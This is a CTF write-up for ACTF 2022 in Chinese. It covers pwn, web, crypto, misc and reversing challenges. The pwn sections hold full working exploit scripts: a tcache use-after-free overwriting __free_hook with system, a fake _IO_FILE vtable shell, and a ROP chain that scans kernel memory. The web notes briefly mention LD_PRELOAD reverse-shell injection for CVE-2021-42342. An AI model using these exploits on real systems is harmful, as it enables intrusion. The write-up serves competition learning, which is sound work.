PKUCC ACTF 2022 Writeup

[PWN] treepwn

把二维平面中的若干点组成了一颗树,每个节点应有2-5个子节点,只有1个时会合并到父节点的其他子节点中,达到6个时会分裂为两个子节点插入到父节点中。

对每个节点都维护有以这个节点为根的子树中包括所有节点的、边平行与坐标轴的矩形的最小周长,节点插入到哪个子节点根据插入到每个子节点中会造成对应该节点的最小周长增加的量决定,选择增加量最小的子节点进行插入。

利用的程序漏洞是如果有两个子节点对应的周长增长量都最小,那么同一个节点会被插入到两个子树中,而删除操作只会删除遇见的第一个节点,第二个节点仍然存在,对应的内存已经被释放,即use-after-free。

首先,释放的节点进入tcache,有一个单向链表。在use-after-free之后用query操作可以打印tcache单向链表,泄漏堆地址,再利用edit操作篡改tcache链表,可以伪造内存块。

这里伪造内存块的大小使其超过tcache的范围,直接进入large bin,释放之后双向链表指向main_arena,泄漏libc地址。

最后再次篡改tcache单向链表,释放出free_hook,将其值改为libc_system,即可反弹shell。

ACTF{tHIS_RtR3e_1$_7o7Al1y_bU96Y_AND_wHich_vuln_DO_You_3XplO1T}
from pwn import *

context.log_level = "debug"

# p = process('./treepwn', env={'LD_LIBRARY_PATH': '.'})
p = remote("121.36.241.104", 9999)

p.recvuntil("in 30 seconds")
p.sendline(input())

def place(x, y, name):
    p.recvuntil(b'Your choice > ')
    p.sendline(b'0')
    p.sendline(str(x))
    p.sendline(str(y))
    p.send(name.ljust(0x20, name[-1:]))

def remove(x, y, norecv=False):
    if not norecv:
        p.recvuntil(b'Your choice > ')
    p.sendline(b'1')
    p.sendline(str(x))
    p.sendline(str(y))

def edit(x, y, data, norecv=False):
    if not norecv:
        p.recvuntil(b'Your choice > ')
    p.sendline(b'2')
    p.sendline(str(x))
    p.sendline(str(y))
    p.send(data.ljust(0x20, data[-1:]))

def query(xmin, xmax, ymin, ymax):
    p.recvuntil(b'Your choice > ')
    p.sendline(b'4')
    p.sendline(str(xmin))
    p.sendline(str(ymin))
    p.sendline(str(xmax))
    p.sendline(str(ymax))

def leave():
    p.recvuntil(b'Your choice > ')
    p.sendline('5')
    p.interactive()

it = map(chr, range(32, 256))

place(1, 0, next(it))    # 0x55f2ae6e42d0
place(2, 0, next(it))
place(3, 0, next(it))
place(1, 100, next(it))
place(2, 100, next(it))
place(3, 100, next(it))
place(1, 200, next(it))
place(2, 200, next(it))
place(3, 200, next(it))
place(1, 300, next(it))
place(2, 300, next(it))
place(3, 300, next(it))
place(1, 400, next(it))
place(2, 400, next(it))
place(3, 400, next(it))

place(4, 0, next(it))
place(4, 100, next(it))
place(4, 200, next(it))
place(4, 300, next(it))
place(4, 400, next(it))
place(5, 0, next(it))
place(5, 100, next(it))
place(5, 200, next(it))
place(5, 300, next(it))
place(5, 400, next(it))  # 0x55f2ae6e4930

remove(2, 0)
remove(3, 0)
remove(4, 0)
remove(3, 100)

place(3, 50, next(it))
remove(3, 50)

query(0, 4096, 0, 4096)

# leak: 0x55f2ae6e4780
p.recvuntil("6-th name: ")
leak = b''
while len(leak) < 8:
    leak += p.recv()
leak = leak[:8]
leak = int.from_bytes(leak, 'little')

st = leak - 0x55f2ae6e4780 + 0x55f2ae6e42d0
ed = leak - 0x55f2ae6e4780 + 0x55f2ae6e4930
assert ed - st == 0x660

print('st: ' + hex(st))
print('ed: ' + hex(ed))

edit(1, 0, b'deadbeef' + int.to_bytes(0x650 + 1, 8, 'little') + b'deadbeef' * 2, norecv=True)
edit(5, 400, int.to_bytes(0x20 + 1, 8, 'little') + b'deadbeef' * 3)

edit(3, 50, int.to_bytes(st + 0x10, 8, 'little') + b'deadbeef' * 3)

place(2, 0, next(it))
place(4, 0, next(it))
remove(4, 0)

query(0, 4096, 0, 4096)

# leak: 0x7f6ead445ca0
p.recvuntil("23-th name: ")
leak = b''
while len(leak) < 8:
    leak += p.recv()
leak = leak[:8]
leak = int.from_bytes(leak, 'little')
print('leak: ' + hex(leak))

# 0x7f6ead0a9420 <system>
system = leak - 0x7f6ead445ca0 + 0x7f6ead0a9420
print('system: ' + hex(system))

# 0x7f6ead4478e8 <__free_hook>
free_hook = leak - 0x7f6ead445ca0 + 0x7f6ead4478e8
print('free_hook: ' + hex(free_hook))

remove(2, 300, norecv=True)
remove(3, 300)
remove(4, 300)
remove(3, 200)
remove(2, 400)
remove(4, 400)

place(3, 250, next(it))
remove(3, 250)

edit(3, 250, int.to_bytes(free_hook, 8, 'little') + b'deadbeef' * 3)

place(2, 400, b"cat flag\x00")
place(4, 400, int.to_bytes(system, 8, 'little') + b'deadbeef' * 3)
remove(2, 400)

p.recvall()

[PWN] mykvm

没开pie,映射到kvm里的内存有data段后半部分和heap,data段里本身就有地址指向heap,而通过输入比较长的字符串在readline时触发一段较长的内存(使用largebin)的分配和释放,heap里将有指向main_arena附近的libc地址,因此libc地址也被泄漏。

可以通过控制data段的数据,控制kvm运行结束后向任意地址写入0x20个字节的任意数据,考虑到libc版本很旧(2.23),这时候文件操作的虚表没有任何防护,通过任意地址写入篡改_IO_list_all到data区里完全控制的数据。

在程序exit的时候可以触发vtable里的overflow函数调用,直接在data区里构造假的vtable将其指向__libc_system,第一个参数是文件本身,也在data区的内存范围内,可以被完全控制,这样就直接反弹shell。

很坑的就是kvm初始是16位实模式,需要手动切到32位保护模式,不然很多数据碰不到,是无法操作的。

ACTF{Y0u_c4n_D0_m0r3_th1nGs_Wh3n_sw1Tch_Real_m0d3_t0_pr0t3ct_M0de!}
typedef unsigned int uint32_t;
typedef unsigned long long uint64_t;

static inline void putc(char c)
{
    asm volatile(
        "outb %0, $0xFF"
        :: "r" (c)
    );
}

static inline void puts(const char *s)
{
    char c;
    while ((c = *s++))
        putc(c);
}

static inline void putd(uint64_t d)
{
    puts("0x");
    for (int i = 64 - 4; i >= 0; i -= 4)
    {
        char c = (d >> i) & 0xF;
        if (c < 10) {
            c += '0';
        } else {
            c += 'A' - 10;
        }
        putc(c);
    }
    putc('\n');
}

typedef uint64_t _IO_off_t;
typedef uint64_t _IO_off64_t;

struct _IO_FILE {
  int _flags;        /* High-order word is _IO_MAGIC; rest is flags. */
  int _padding1;
#define _IO_file_flags _flags

  /* The following pointers correspond to the C++ streambuf protocol. */
  /* Note:  Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
  uint64_t  _IO_read_ptr;    /* Current read pointer */
  uint64_t  _IO_read_end;    /* End of get area. */
  uint64_t  _IO_read_base;    /* Start of putback+get area. */
  uint64_t  _IO_write_base;    /* Start of put area. */
  uint64_t  _IO_write_ptr;    /* Current put pointer. */
  uint64_t  _IO_write_end;    /* End of put area. */
  uint64_t  _IO_buf_base;    /* Start of reserve area. */
  uint64_t  _IO_buf_end;    /* End of reserve area. */
  /* The following fields are used to support backing up and undo. */
  uint64_t _IO_save_base; /* Pointer to start of non-current get area. */
  uint64_t _IO_backup_base;  /* Pointer to first valid character of backup area */
  uint64_t _IO_save_end; /* Pointer to end of non-current get area. */

  uint64_t _markers;

  uint64_t _chain;

  int _fileno;
#if 0
  int _blksize;
#else
  int _flags2;
#endif
  _IO_off_t _old_offset; /* This used to be _offset but it's too small.  */

#define __HAVE_COLUMN /* temporary */
  /* 1+column number of pbase(); 0 is unknown. */
  unsigned short _cur_column;
  signed char _vtable_offset;
  char _shortbuf[1];
  int _padding2;

  /*  char* _save_gptr;  char* _save_egptr; */

  uint64_t _lock;
#ifdef _IO_USE_OLD_IO_FILE
};

struct _IO_FILE_complete
{
  struct _IO_FILE _file;
#endif
#if 1 // defined _G_IO_IO_FILE_VERSION && _G_IO_IO_FILE_VERSION == 0x20001
  _IO_off64_t _offset;
# if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
  /* Wide character stream stuff.  */
  uint64_t _codecvt;
  uint64_t _wide_data;
  uint64_t _freeres_list;
  uint64_t _freeres_buf;
# else
  uint64_t __pad1;
  uint64_t __pad2;
  uint64_t __pad3;
  uint64_t __pad4;
# endif
  uint64_t __pad5;
  int _mode;
  /* Make sure we don't get into trouble again.  */
  char _unused2[15 * sizeof (int) - 4 * sizeof (uint64_t) - sizeof (uint64_t)];
#endif
};

/* We always allocate an extra word following an _IO_FILE.
   This contains a pointer to the function jump table used.
   This is for compatibility with C++ streambuf; the word can
   be used to smash to a pointer to a virtual function table. */

struct _IO_FILE_plus
{
  struct _IO_FILE file;
  uint64_t vtable;
};

#ifdef _IO_USE_OLD_IO_FILE
/* This structure is used by the compatibility code as if it were an
   _IO_FILE_plus, but has enough space to initialize the _mode argument
   of an _IO_FILE_complete.  */
struct _IO_FILE_complete_plus
{
  struct _IO_FILE_complete file;
  uint64_t vtable;
};
#endif

#define JUMP_FIELD(TYPE, FIELD) uint64_t FIELD

struct _IO_jump_t
{
    JUMP_FIELD(uint64_t, __dummy);
    JUMP_FIELD(uint64_t, __dummy2);
    JUMP_FIELD(_IO_finish_t, __finish);
    JUMP_FIELD(_IO_overflow_t, __overflow);
    JUMP_FIELD(_IO_underflow_t, __underflow);
    JUMP_FIELD(_IO_underflow_t, __uflow);
    JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
    /* showmany */
    JUMP_FIELD(_IO_xsputn_t, __xsputn);
    JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
    JUMP_FIELD(_IO_seekoff_t, __seekoff);
    JUMP_FIELD(_IO_seekpos_t, __seekpos);
    JUMP_FIELD(_IO_setbuf_t, __setbuf);
    JUMP_FIELD(_IO_sync_t, __sync);
    JUMP_FIELD(_IO_doallocate_t, __doallocate);
    JUMP_FIELD(_IO_read_t, __read);
    JUMP_FIELD(_IO_write_t, __write);
    JUMP_FIELD(_IO_seek_t, __seek);
    JUMP_FIELD(_IO_close_t, __close);
    JUMP_FIELD(_IO_stat_t, __stat);
    JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
    JUMP_FIELD(_IO_imbue_t, __imbue);
#if 0
    get_column;
    set_column;
#endif
};

static struct _IO_jump_t fake_jump;
static volatile char __padding[0xA0] __attribute__ ((unused));
static struct _IO_FILE_plus fake_file;

int main(void)
{
    uint32_t heap_host = *(uint32_t *) 0x7100;
    uint32_t heap_guest = heap_host - 0x0603000;

    // 0x7f8dd06b6c78 <main_arena+344>
    uint64_t libc_host = *(uint64_t *) (heap_guest + 0x70);

    // 0x7f8dd06b7520 <_IO_list_all>
    uint64_t target = libc_host - 0x7f8dd06b6c78 + 0x7f8dd06b7520;
    *(uint64_t *) 0x7100 = target;

    puts("target list: ");
    putd(target);

    uint64_t system = libc_host - 0x7f38830d3c78 + 0x7f3882d543a0;

    puts("system: ");
    putd(system);

    putd((uint64_t) &((struct _IO_FILE_plus *) 0)->file._offset);
    if ((uint64_t) &((struct _IO_FILE_plus *) 0)->vtable != 0xd8) {
        puts("offset check failed\n");
        return -1;
    }
    puts("offset check ok\n");

    fake_file.file._mode = -1;
    fake_file.file._IO_write_ptr = 1;
    fake_file.file._IO_write_base = 0;
    fake_file.vtable = (uint64_t) &fake_jump + 0x0603000;
    fake_jump.__overflow = system;

    *(uint32_t *) &fake_file = *(const uint32_t *) "sh\x00";

    puts("fake file: ");
    putd((uint64_t) &fake_file + 0x0603000);

    return 0;
}
.section ".start", "ax"
.code16
.global _start
_start:
    cli
    lgdt gdtr

    movl %cr0, %eax
    orl $0x1, %eax
    movl %eax, %cr0

    jmpl $0x8, $_start32

gdt:
.quad 0x0000000000000000
.quad 0x00CF9A000000FFFF
.quad 0x00CF92000000FFFF
gdt_end:

gdtr:
.word gdt_end - gdt
.long gdt

.code32
_start32:
    movw $0x10, %ax
    movw %ax, %ds
    movw %ax, %es
    movw %ax, %fs
    movw %ax, %gs
    movw %ax, %ss

    call main

    hlt
SECTIONS
{
    . = 0x0;
    .start : { *(.start) }

    . = ALIGN(0x10);
    .text : { *(.text) }

    . = ALIGN(0x10);
    .data : { *(.rodata) *(.data) }

    . = ALIGN(0x10);
    .bss : { *(.bss) }

    /DISCARD/ : { *(*) }
}
#! /bin/sh

set -e

gcc -nostdinc -nostdlib -nostartfiles -no-pie -fno-pic -m32 -Wl,-Texp.ld exp.S exp.c -o exp
objcopy -O binary exp exp.bin
./exp.sh > exp.in
#! /bin/sh

set -e

stat --format=%s ./exp.bin
cat exp.bin
echo aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
echo bbb
echo -e "\x20\x34\x60\x00\x00\x00\x00\x00"
echo "cat /home/ctf/flag"

[PWN] kkk

这题比赛没出,实在是很可惜,赛后继续做了下发现思路是能工作的,还差两小时的工作量,不过感觉这个做法大概率不是标解,所以写一下writeup。

内核模块里的进行加密和解密是按照块大小进行的,如果数据总长度不是块大小的倍数就会访问越界。

用户程序里对数据块进行了对齐,所以用户程序的解包等等都没用,不能触发内核模块的漏洞,用户程序用seccomp对系统调用进行了白名单限制,不能直接反弹shell或是调用其他程序。

但用户程序没有栈保护,没有pie,静态链接,看上去像是给ROP准备的,实际上在get_segments中对输入长度的判断使用了有符号数,但读取是按照无符号数长度进行读取的,传入负数会导致栈缓冲区溢出。

利用ROP可以随意执行ioctl,触发内核模块中的漏洞,内核模块中的溢出会破坏相邻的结构体,大小相同的结构体在kmalloc时有较大概率是相邻分配的。

首先破坏缓冲区大小,然后可以越界读,泄漏内核堆地址;可以越界写,覆写一个内核地址再用读操作读内核内存,因为flag是在内存中的,理论上如果知道flag的地址就可以读出flag了。

但是通过调试发现flag地址每次都不一样(排除KASLR影响后),如果用这样的方法获得flag可能需要内存扫描,这需要在ROP中构建循环。

实际上这是可以做到的,首先内核提供的栈地址是没有泄漏的,第一步是利用pop %rsp; ret将栈迁移到data段,这样栈地址就已知了,对于不涉及函数调用的ROP,栈上的数据不会被破坏,那么进行循环只需再次利用pop %rsp; ret将栈还原到循环开始前就好了。

不过有一些问题,因为输入输出要过一层qemu,使用已有的write_through_base64和read_through_base64进行输入输出是必要的,但这就在循环中引入了会破坏栈的函数调用,这样的函数调用必须只能有一次,并且在循环体的开头处,同时利用函数开头的push %rbp正好可以恢复唯一会被破坏的栈内容,其他的操作(即ioctl)直接使用syscall完成,不使用已有的函数。

flag的位置只会在4k内存页的开头出现,根据ACTF开头识别,从泄漏的内核地址向后扫了10分钟没有找到,向前扫描秒出答案。

ACTF{Th3_Po1N7_1s_7H4t_K3RN31_shoU1D_n3v3R_TruST5_0UtCom1NG_1NPu7_And_F0R6e7_ChecK}
from pwn import *
import base64
import time
import os

context.log_level = "debug"

# p = process("rootfs/parser")
# p = process('./start.sh')
p = remote("123.60.41.85", 9999)

p.recvuntil("`")
s = p.recvuntil("`")
s = s[:-1]
s = os.system(s.decode())
p.sendline(input())

def send_b64(x, end=b''):
    p.send(base64.b64encode(x) + end)

def send(x):
    p.send(x)

def b16(x):
    return int.to_bytes(x, 16, 'little')

def b8(x):
    return int.to_bytes(x, 8, 'little')

def b4(x):
    return int.to_bytes(x, 4, 'little')

p.recvuntil(b'ENTER YOUR PACKET > ')

for _ in range(15):
    send_b64(b'\xff' * 0x30)

send_b64(b16(0) + b16(0x800) + b16(0))
send_b64(b8(1))
send_b64(b'\x00' * 4 + b4(0x80000000))

def syscall(nr, arg0, arg1, arg2):
    s = b''

    #  4005af:       58                      pop    %rax
    #  4005b0:       c3                      ret
    s += b8(0x4005af)
    s += b8(nr)        # %rax (NR)

    #  45c139:       5a                      pop    %rdx
    #  45c13a:       5e                      pop    %rsi
    #  45c13b:       c3                      ret
    s += b8(0x45c139)
    s += b8(arg2)      # %rdx (arg2)
    s += b8(arg1)      # %rsi (arg1)

    #  466d7c:       48 8d 3d 5f c3 04 00    lea    0x4c35f(%rip),%rdi        # 4b30e2 <__PRETTY_FUNCTION__.8463+0x42>
    #  [[ 5f = pop %rdi, c3 = ret ]]
    s += b8(0x466d7f)
    s += b8(arg0)      # %rdi (arg0)

    #  4859c5:       0f 05                   syscall
    #  4859c7:       c3                      ret
    s += b8(0x4859c5)

    return s

def invoke(addr, arg0, arg1):
    s = b''

    #  45c13a:       5e                      pop    %rsi
    #  45c13b:       c3                      ret
    s += b8(0x45c13a)
    s += b8(arg1)      # %rsi (arg1)

    #  466d7c:       48 8d 3d 5f c3 04 00    lea    0x4c35f(%rip),%rdi        # 4b30e2 <__PRETTY_FUNCTION__.8463+0x42>
    #  [[ 5f = pop %rdi, c3 = ret ]]
    s += b8(0x466d7f)
    s += b8(arg0)      # %rdi (arg0)

    s += b8(addr)

    return s

def loop(var, step, sp):
    s = b''

    #  4005af:       58                      pop    %rax
    #  4005b0:       c3                      ret
    s += b8(0x4005af)
    s += b8(step)        # %rax (NR)

    # 401a78:       5d                      pop    %rbp
    # 401a79:       c3                      ret
    s += b8(0x401a78)
    s += b8(var + 0x4)

    # 401a72:       01 45 fc                add    %eax,-0x4(%rbp)
    # 401a75:       8b 45 fc                mov    -0x4(%rbp),%eax
    # 401a78:       5d                      pop    %rbp
    # 401a79:       c3                      ret
    s += b8(0x401a72)
    s += b8(0x401b52)  # write_through_base64

    #  411f61:       48 8b 5c c3 08          mov    0x8(%rbx,%rax,8),%rbx
    #  [[ 5c = pop %rsp, c3 = ret ]]
    s += b8(0x411f63)
    s += b8(sp)

    return s

def set_rbp(rbp):
    s = b''

    # 401a78:       5d                      pop    %rbp
    # 401a79:       c3                      ret
    s += b8(0x401a78)
    s += b8(rbp)

    return s


def ioctl(cmd, arg, fd=3):
    return syscall(0x10, fd, cmd, arg)

def read(buf, cnt):
    return invoke(0x401abb, buf, cnt)

def write(buf, cnt):
    return invoke(0x401b52, buf, cnt)

HEAP_BASE = 0x6d4000
KEY_TEMP = HEAP_BASE + 0x3000
KEY_PUT = 0x6db000 - 0x60

heap = b''

def alloc(data):
    global heap

    addr = len(heap) + HEAP_BASE
    heap += data
    return addr

def new(ty, enc, key=b'', data=b'', keylen=None, datalen=None):
    if keylen is None:
        keylen = len(key)
    else:
        key = key.rjust(keylen, b'A')
    if datalen is None:
        datalen = len(data)
    else:
        data = data.rjust(datalen, b'B')

    key_addr = alloc(key)
    data_addr = alloc(data)

    args = b''
    args += b4(ty)
    args += b4(enc)
    args += b8(keylen)
    args += b8(key_addr)
    args += b8(datalen)
    args += b8(data_addr)
    args_addr = alloc(args)

    return ioctl(0x6b64, args_addr)

def get(idx, keyout=KEY_TEMP, dataout=0x0):
    args = b''
    args += b16(idx)
    args += b16(keyout)
    args += b16(dataout)
    args_addr = alloc(args)

    return ioctl(0x6b69, args_addr)

def put(idx, keyin=KEY_PUT, datain=0x0):
    args = b''
    args += b16(idx)
    args += b16(keyin)
    args += b16(datain)
    args_addr = alloc(args)

    return ioctl(0x6b67, args_addr)

def run(idx):
    return ioctl(0x6b6b, alloc(b4(idx)))

stack = b''

stack += new(2, 1, keylen=0x12, datalen=0x3e)
stack += new(2, 1, keylen=0x12, datalen=0x3e)
stack += new(2, 1, keylen=0x12, datalen=0x3e)
stack += run(0)
stack += get(1)
stack += write(KEY_TEMP + 0x48, 0x18)
stack += read(KEY_PUT, 0x1000)
stack += set_rbp(0x401b52)

call_write = write(KEY_TEMP, 96)
stack += call_write[:-8]

loop_st = len(stack)

stack += call_write[-8:]
stack += put(1)
stack += get(2)

heap += b'\x00' * (0x8 - (len(heap) & 0x7))

stack += call_write[:-8]
stack += loop(KEY_PUT + 0x58, 2 ** 32 - 0x1000, HEAP_BASE + len(heap) + loop_st)

stk = b'K' * 0x848

stk += read(HEAP_BASE, 0x1000)

#  411f61:       48 8b 5c c3 08          mov    0x8(%rbx,%rax,8),%rbx
#  [[ 5c = pop %rsp, c3 = ret ]]
stk += b8(0x411f63)

stk += b8(HEAP_BASE + len(heap))

send_b64(stk, end=b'\n')
time.sleep(0.1)

send_b64(heap + stack, end=b'\n')

p.recvuntil(b'QkJCQkJCQkISAAAA')
leak = p.recv()
while len(leak) < 16:
    leak += p.recv()
leak = base64.b64decode(leak[:16])
leak = leak[-8:]
leak = int.from_bytes(leak, 'little')
print('leak: ' + hex(leak))

target = leak & ~0xfff
print('target: ' + hex(target))

send_b64(b'\x00' * 0x50 + b8(4096) + b8(target), end=b'\n')


flag = b'QUNURn'
p.recvuntil(flag)
while len(flag) < 128:
    flag += p.recv()
print(base64.b64decode(flag[:128]))

[MISC] signin

7-zip可以解压多种类型的压缩文件,包括zip、bzip、lzip、gzip、xz等,但不能解压zstd格式,因此用bash写一个循环,先用file判断是否是zstd,如果是则用zstd解压,否则用7za解压:(把题目文件改名为flag1后运行)

for i in {1..1100}; do
if [[ `file flag$i` == *"Zstandard"* ]]; then
  zstd -f -d flag$i -o flag$((i+1))
else
  7za e flag$i -so > flag$((i+1))
fi
done

[MISC] Mahjoong

根据提示,需要己方役满。通过分析前端代码,修改shan对象中的_pai属性,让自己一开始就摸出役满牌组即可。

[WEB] gogogo

  • CVE-2021-42342

通过注入LD_PRELOAD反弹shell。构造请求的时候需要伪造Content-Length头使得goahead不会关闭文件描述符。

[WEB] beWhatYouWannaBe

Part 1. 通过HTML <form> 进行跨域POST请求beAdmin即可。 Part 2. 第一次导航的时候打开一个新窗口,在新窗口中反复对window.opener.window进行属性注入。 由于同源,这里window.opener是可以正常访问的,并且在第二次导航的时候依然可以访问。

[WEB] poorui

由于没有验证,在前端覆盖window.alert后反复尝试以admin身份登录。过一段时间后(可能是环境重置,或者别的队伍把admin打下线了)就能以admin身份登录,直接getflag。

[CRYPTO] secure connection

在开启加密的情况下,题目的流程为: 1、master发送hello 2、slave发送hello 3、master发送IVm、Secretm,均为随机生成 4、slave发送IVs、Secrets,均为随机生成 5、master用numeric_key两次加密随机生成的master_random,得到master_confirm并发送 6、slave用numeric_key两次加密随机生成的slave_random,得到slave_confirm并发送 7、master发送master_random,slave收到后进行验证 8、slave发送slave_random,master收到后进行验证 9、用numeric_key加密master_random前8字节+slave_random后8字节,得到storekey 10、用storekey加密Secretm+Secrets,得到sessionkey 11、此后所有信息都用sessionkey加密传输。

根据验证流程可知双方用的numeric_key是相同的;IVm、Secretm、IVs、Secrets、master_random均为已知;master_confirm、slave_random、slave_confirm分别有1、2、4个字节未知。所有数据均带有CRC校验码,且hello信息里面有initCRC,因此对于master_confirm和slave_random,可以枚举未知的字节,然后判断校验码是否正确,恢复的结果是唯一的。CRC校验码有3个字节,所以slave_confirm有256种可能恢复结果,但是不需要恢复slave_confirm。

然后枚举numeric_key(共有16777216种可能),用其加密master_random,检查得到的master_confirm是否和已知的相同。如此得到了numeric_key,因此就能得到storekey和sessionkey,所以可以解密所有信息。

[CRYPTO] RSA LEAK

rp和rq通常在0和16777215之间(理论上可能大于16777216,但是可以忽略这种可能),根据leak函数的输出结果可以知道n和(pow(rp, 65537) + pow(rq, 65537) + 0xdeadbeef)%n(这里的n是leak函数中的n,不是主程序的n)。可以把i=0-16777215时的pow(i, 65537, n)都算出来,然后存到一个关联数组里面,然后枚举rp,接着(得到pow(rq, 65537, n)后)从关联数组里面寻找rq,可以得到rp=405771,rq=11974933或者相反(两者是等价的,只需考虑前者)。

有n=(p+405771)(q+11974933)。注意p和q都是大整数的四次方,因此n应该接近一个四次方数,且int(n^(1/4))^4=pq。此处由于精度问题不能用Python直接计算,需要使用Mathematica等其他工具。然后用Mathematica就能解出p和q从而能恢复明文。

[RE] Nagi Knows

直接用查找替换可以把里面的标识符改名。程序维护了8种不同的类型(有和没有ref、const两种限定符的int和float),并用模板实现了这些类型间的运算;同时维护了用模板实现的bool类型及其运算。可以把8种类型分别看成0-7,模板实现了“加法”(即异或)和“乘法”,例如:(节选,标识符改名后)

template<typename T>
struct S00111100 {
    typedef typename ifelse<boolxor<isref<T>, isconst<T>>::value, superfloat::type, superint::type>::type type;
};

template<typename T>
struct S00113322 {
    typedef typename ifelse<isref<T>::value, typename addconst<typename S00111100<T>::type>::type, typename S00111100<T>::type>::type type;
};

template <typename T>
struct S04517326
{
    typedef typename ifelse<boolxor<isref<T>, isconst<T>, isfloattype<T>>::value, typename addref<typename S00113322<T>::type>::type, typename S00113322<T>::type>::type type;
};

template <typename T, typename U, typename = void>
struct _floatxor01234567_constxor02465713_refxor04517326
{
    typedef typename _floatxor01234567_constxor02465713<T, U>::type type;
};

template <typename T, typename U>
struct _floatxor01234567_constxor02465713_refxor04517326<T, U, typename totype<isref<U>::value>::type>
{
    typedef typename floatxorconstxorrefxorall<typename S04517326<T>::type, typename _floatxor01234567_constxor02465713<T, U>::type>::type type;
};

上面的代码提取了U的isref限定符,如果有此限定符,则将T做某种映射后和先前的结果(处理float和const)进行“xor”。这些映射都已知,相当于可以计算出乘法表。

可以知道“加法”有交换律和结合律(因为是xor),“乘法”有交换律和结合律,“加法”和“乘法”间有分配律,且每个非0元素有唯一的乘法逆元,因此这是一个有8个元素的有限域。

模板的其他部分从Nagi里面读取了参数(有32个,相当于32个元素),然后计算32个元素的32种线性组合,再和已知的32个元素比较。这是一个线性方程组,用Gauss-Jordan消元法可以求解。然后把key数组求出来写到代码里再把Nagi类删掉,GetFlag函数改名main函数并输出结果,编译运行后就能输出flag了。

[RE] kcov

解包cpio查看init文件可以看到内核启动后只运行了kcov,kcov是静态链接的ELF文件,用libc 2.27版本的sig可以恢复大部分符号。找到main函数后发现0x401885调用的函数实际输出 What a lucky hacker! Here is your flag ,解密脚本如下,因此sub_4015F8是实际的校验逻辑。

data = [140, 108, 160, 165, 242,  27, 169, 228, 234,  78,
        171, 175, 255,  27, 160, 165, 229,  80, 173, 182,
        167,  27, 128, 161, 244,  94, 232, 173, 245,  27,
        177, 171, 243,  73, 232, 162, 234,  90, 175,   0]
key = 0xC4C83B86
for i in range(40):
    print(chr(((key >> (8 * (i & 3))) ^ data[i]) % 0x100), end="")
print()
# What a lucky hacker! Here is your flag

实际校验的伪代码如下:

key = [
    44, 4, 23, 13,
    2, 45, 57, 51,
    7, 22, 52, 24,
    29, 26, 11, 40]
bit_calc_array=[
0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,
27,26,25,24,31,30,29,28,19,18,17,16,23,22,21,20,11,10,9,8,15,14,13,12,3,2,1,0,7,6,5,4,59,58,57,56,63,62,61,60,51,50,49,48,55,54,53,52,43,42,41,40,47,46,45,44,35,34,33,32,39,38,37,36,
54,55,52,53,50,51,48,49,62,63,60,61,58,59,56,57,38,39,36,37,34,35,32,33,46,47,44,45,42,43,40,41,22,23,20,21,18,19,16,17,30,31,28,29,26,27,24,25,6,7,4,5,2,3,0,1,14,15,12,13,10,11,8,9,
45,44,47,46,41,40,43,42,37,36,39,38,33,32,35,34,61,60,63,62,57,56,59,58,53,52,55,54,49,48,51,50,13,12,15,14,9,8,11,10,5,4,7,6,1,0,3,2,29,28,31,30,25,24,27,26,21,20,23,22,17,16,19,18]
def bit_len(a1):
    v3 = 0
    while ( not (a1 == zero) ):
        v3+=1
        a1 >>= 1
        # print(a1)
    return v3

def bit_calc(a1):
    return bit_calc_array[a1]
    tmp = bit_len(a1)
    result = a1
    while ( tmp >= 7 ):
        result ^= 91 << (tmp - 7)
        tmp = bit_len(result)
    return result

def first_calc(akey,ainput):
    tmp = 0
    for i in range(6):
        if ( not((ainput & 1) == zero )):
            tmp ^= (akey)
        ainput = ainput >> 1
        akey *= 2
        if ( (akey & 0x40) != 0 ):
            akey ^= 0x5B
    return bit_calc(tmp)

def bit_calc_xor(a1,a2):
    return  bit_calc(a2 ^ a1)

def encrypt(buf):
    for i in range(4):
        for j in range(4):
            tmp2 = 0;
            for k in range(4):
                tmp1 = first_calc(key[k + i * 4], buf[j + k * 4])
                tmp2 = bit_calc(tmp1^tmp2)
            result[j + i * 4] = tmp2
    return (result[0xa] +result[5] +result[0] +result[0xf] ==4) and (result[0xa] *result[5] *result[0] *result[0xf] ==1)

